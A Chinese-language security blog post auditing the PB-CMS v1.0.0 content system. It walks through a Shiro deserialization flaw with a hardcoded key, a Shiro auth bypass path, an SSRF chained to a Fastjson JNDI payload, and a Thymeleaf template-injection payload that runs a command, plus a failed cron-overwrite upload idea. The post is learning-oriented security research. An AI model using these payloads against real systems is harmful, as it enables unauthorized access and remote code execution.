PB-CMS代码审计
Yu9

文章首发先知社区

链接:https://xz.aliyun.com/t/13867

0x01 前言

本次审计的系统是PB-CMS(瀑布内容管理系统),涉及到的技术栈有SpringBoot、Apache Shiro、Mybatis Plus 、Thymeleaf 等等,在它的 v1.0.0版本中存在一些经典的漏洞,Yu9相信刚开始学习java代码审计的师傅通过审计该cms可以收获不少知识。

0x02 环境搭建

项目地址:https://gitee.com/LinZhaoguan/pb-cms/tree/v1.0.0/

0x03 声明

此分享主要用于交流学习,请勿用于非法用途,否则一切后果自付。

0x04 shiro反序列化漏洞

漏洞分析

在pom.xml文件中可以看到shiro的版本是1.4.1是存在反序列化漏洞的

image-20240222025948750

漏洞复现

拿出我们的shiro一把梭工具,工具下载地址:https://github.com/j1anFen/shiro_attack

爆秘钥以及利用链

image-20240222030201116

执行命令

image-20240222030222079

代码审计

最开始看到shiro的版本是1.4.1最先想到的就是shiro720,因为shiro550的利用版本要 < 1.2.4。

但是在在Shiro反序列化漏洞修复的过程中,如果仅进行Shiro的版本升级,而没有重新生成密钥,那么AES加密的默认密钥扔硬编码在代码里,仍然会存在反序列化风险。

所以猜测该cms对cookie加密仍然使用的是硬编码

在看了shiro的配置文件之后,发现确实如此!

image-20240222032030472

0x05 shiro权限绕过

漏洞分析

既然shiro的版本是1.4.1,那肯定也存在权限绕过漏洞。

例如:CVE-2020-11989

Apache Shiro 1.5.3之前的版本中,当将Apache Shiro与Spring动态控制器一起使用时,精心编制的请求可能会导致绕过身份验证。

漏洞的主要原因就是shiro和spring对路径的解析有差异!

漏洞复现

直接访问/cms/admin,会跳转让我们先登录

image-20240222034033903

使用/;/cms/admin绕过

image-20240222034133724

代码审计

1)shiro

把断点下在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain()

image-20240222040346140

通过this.getPathWithinApplication(request)来获取uri。

一直alt+shift+f7,我们可以跟进到org.apache.shiro.web.util.WebUtils#getPathWithinApplication

image-20240222040728346

具体获取uri的逻辑就在getRequestUri(request)中,跟进之后会发现,在返回uri前通过decodeAndCleanUriString方法做了一些处理

image-20240222040902722

这段代码的作用是对 URI 进行处理,截取第一个分号之前的部分并返回

image-20240222041026919

所以最终我们获取到的就是/

image-20240222041157686

最终和shiro过滤器中的"/", "anon"匹配

image-20240222041904806

2)spring

断点下载org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping

通过getPathWithinApplication来获取uri

image-20240222042749239

跟进之后跟shiro的分析过程类似,跟进之后可以看到this.getRequestUri(request)中实现了获取uri的具体逻辑

image-20240222043301257

继续跟进,可以看到返回前使用decodeAndCleanUriString方法做了处理

image-20240222043458879

跟进,第一步过滤了;,第二部过滤了重复的/,最终得到/cms/admin/

image-20240222043533131

3)总结

shiro对/;/cms/admin/处理后得到/绕过了权限认证

spring对/;/cms/admin/处理后得到/cms/admin/正常访问

0x06 Ssrf结合Fastjson

漏洞分析

作者可能是不小心多打了一个点,导致管理员少了一个权限。

image-20240222044344758

到数据库中把这个点删了,然后重启,重新登录。之后再看文章列表就会发现多了一个批量推送的功能!

image-20240222051535308

这个漏洞是通过自动化工具扫出来的,不然还真发现不了。

就是Ssrf,但只支持http协议,并且无回显

不过后貌似可以结合fastjson打一下。

fastjson版本是1.2.66,并且存在shiro-core依赖,所以有机会利用一下

image-20240222065303889

漏洞复现

1)ssrf

首先使用yakit的dnslog生成一个域名

image-20240222052036906

到网站管理 -> 基础信息出,替换百度推送地址

image-20240222052103830

然后到文章列表处点批量推送

image-20240222052245922

成功触发

image-20240222052222177

2)fastjson

怎么说呢,它这环境中fastjson是利用不了的。因为在fastjson1.2.66环境下,autotypesupport属性为true才可使用,但在1.2.25版本以后该属性默认为false

为了掩饰一下组合漏洞的效果,咱把autotypesupport设置为true

com.puboot.module.admin.controller.ArticleController#pushBatch修改一下:

1
2
3
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object baiduPushResVo = JSON.parseObject(PushArticleUtil.postBaidu(url, urls));
if (1==1)

image-20240222071705059

还有一个地方要改一下,不然会报错!

com.puboot.common.util.PushArticleUtil#postBaidu。这中间一些写入的代码删掉,感觉是作者设计的问题!

image-20240222070145506

业务逻辑应该是要允许写入输出,但作者并没有设置。所以会报错

image-20240222070511289

先删掉好了

image-20240222070052615

现在环境就OK了,我们使用yakit起一个ldap服务

image-20240222070612957

接着vps起一个web服务返回payload

1
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://127.0.0.1:8085/uRKFmZXL"], "Realms":[""]}

可以用python,我是直接用的宝塔

接着就百度推送地址改成我们vps地址就ok

image-20240222070903150

点击推送,弹出计算机

image-20240222071806121

总的来说呢,fastjson是利用不了的。但觉得ssrf+fastjson挺有意思就改了一下

代码审计

com.puboot.module.admin.controller.ArticleController#pushBatch,下突出下个断点,点击推送

image-20240222071938383

可以看到先和我们之前设置的百度推送地址建立连接

image-20240222072130313

中间有一块应该是推送的代码,就之前删除那部分(说实话没太理解),然后就是获取响应的内容返回

image-20240222072300455

之后就触发fastjson漏洞

image-20240222072501342

0x07 Thymeleaf模板注入漏洞

漏洞分析

能引起Thymeleaf模板注入漏洞的就两种情况:

1)在查找模板中,引用了用户输入的内容

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}

2)controller无返回值,则以GetMapping的路由为视图名称

1
2
3
4
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}

所以我们在寻找Thymeleaf模板注入漏洞时,重点关注一下以上两种情况,看看有没有查找模版时视图名称用户可控

漏洞复现

在主题管理功能处新增主题,然后在主题名称填入我们的payload

1
__${T(Runtime).getRuntime().exec("calc")}__::.x

image-20240222232907295

之后我们点启用

image-20240222233006215

访问网站首页即可触发:http://localhost:8080/cms/

代码审计

可以看到,在访问网站首页时,通过bizThemeService.selectCurrent().getName()可以获取到我们之前设置的主题的名称

image-20240222235655047

0x08 后话

这块其实还有一个文件上传的漏洞,详情可以看看这位师傅提的:https://gitee.com/LinZhaoguan/pb-cms/issues/I8T4WR

它未过滤后缀并且可以目录遍历,本来是想着覆盖计划任务反弹shell,但是深入后发现,作者在对上传文件进行了一些处理,结合时间戳重新对文件进行了命名。

逻辑就是以最后一个点为分割,在中间拼接当前时间戳!若上传文件as.exe,处理后就是as_1708639915916.exe

在覆盖计划任务,抓包后修改文件名为../../var/spool/cron/root,最终得路径就是\自己设置的存图片路径\20240223\../._1708639915916../../var/spool/cron/root

这就导致不能覆盖计划任务了,如何有师傅有绕过思路,一块交流交流!

由 Hexo 驱动 & 主题 Keep
总字数 50.7k 访客数 访问量